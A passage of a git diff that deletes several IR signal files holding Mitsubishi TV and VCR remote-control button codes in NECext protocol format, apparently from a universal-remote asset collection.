INPUT;_COMP_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 69 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: TV_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: TV_ADJUST_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6E 00 00 00 -# -name: PIP_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6F 00 00 00 -# -name: INPUT:_DTV_ANT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 71 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 72 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 72 00 00 00 -# -name: PIP_CHAN_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 76 00 00 00 -# -name: PIP_CHANNEL_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 76 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: TV_PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: PIP/POP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: INPUT:_DTV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 79 00 00 00 -# -name: INPUT;_VIDEO_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7A 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: TV_HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: PIP_CHAN_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7E 00 00 00 -# -name: PIP_CHANNEL_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7E 00 00 00 -# -name: EXCH -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir deleted file mode 100644 index 1137c16b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: V/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: TV_PIP_VCR_CH_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: TV_PIP_VCR_CH_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCRA_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRB_TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCRB_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9A 00 00 00 -# -name: VCRB_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir deleted file mode 100644 index 210861782..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_SU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 03 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 04 00 00 00 -# -name: AUDIO_TV/VCR -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 05 00 00 00 -# -name: 2_M -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0A 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0C 00 00 00 -# -name: 3_TU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 10 00 00 00 -# -name: SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 12 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 14 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 17 00 00 00 -# -name: 4_W -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: INPUT_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1A 00 00 00 -# -name: DISP_(DISPLAY) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1B 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1C 00 00 00 -# -name: 5_TH -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 22 00 00 00 -# -name: FF/FS_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 24 00 00 00 -# -name: 6_F -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: REW/RS_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2C 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2D 00 00 00 -# -name: 7_SA -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 35 00 00 00 -# -name: 8_M-F -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 38 00 00 00 -# -name: INPUT_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 49 00 00 00 -# -name: AUDIO_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 52 00 00 00 -# -name: AUDIO_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir deleted file mode 100644 index 2802b3723..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir +++ /dev/null @@ -1,662 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_1_(SUN) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_TV/VCR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 05 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_2_(MON) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_3_(TUE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_OFF-T -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_OFF-T_OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_4_(WED) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_INPUT_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_DISP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: TV_5_(THU) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: TV_6_(FRI) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: TV_7_(SAT) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_8_(M-F) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 39 00 00 00 -# -name: TV_INPUT_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_VCR/TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_FUNCTION_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_FUNC_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJ_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 42 00 00 00 -# -name: TV_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJ_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4A 00 00 00 -# -name: ANT_B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4C 00 00 00 -# -name: SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: TV_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_FUNCTION_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_FUNC_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: ANT_A -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5A 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 62 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 63 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 64 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: TV_PIP_FREEZE(PAUSE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6B 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6C 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 72 00 00 00 -# -name: THEME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 73 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 74 00 00 00 -# -name: TV_REC -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 75 00 00 00 -# -name: PIP_CHAN_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 76 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7B 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7C 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: PIP_CHAN_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir deleted file mode 100644 index 8cc3696c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir +++ /dev/null @@ -1,1400 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCRA_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_1_(SUN) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCRA_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCRA_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCRA_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_2_(MON) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCRA_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCRA_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_SCAN_^(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCRA_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCRA_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCRA_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCRA/TV/CBL_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_JOG/INDEX_S.+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_3_(TUE) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCRA_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCRA_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCRA/TV/CBL_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_JOG/INDEX_S.- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_4_(WED) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCRA_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: VCRA_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCRA_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_5_(THU) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCRA_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCR_Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCR_DISP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCR_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_6_(FRI) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCRA_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_OFF-T -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCR_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCR_7_(SAT) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCRA/TV/CBL_QUIKPROG -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_Q.PROG/VCR_PLUS+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCRA_QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCRA_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCRA_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_8_(M-F) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCRA_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_FUNCTION_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_FUNC_VIDEO -type: parsed -protocol: NECext 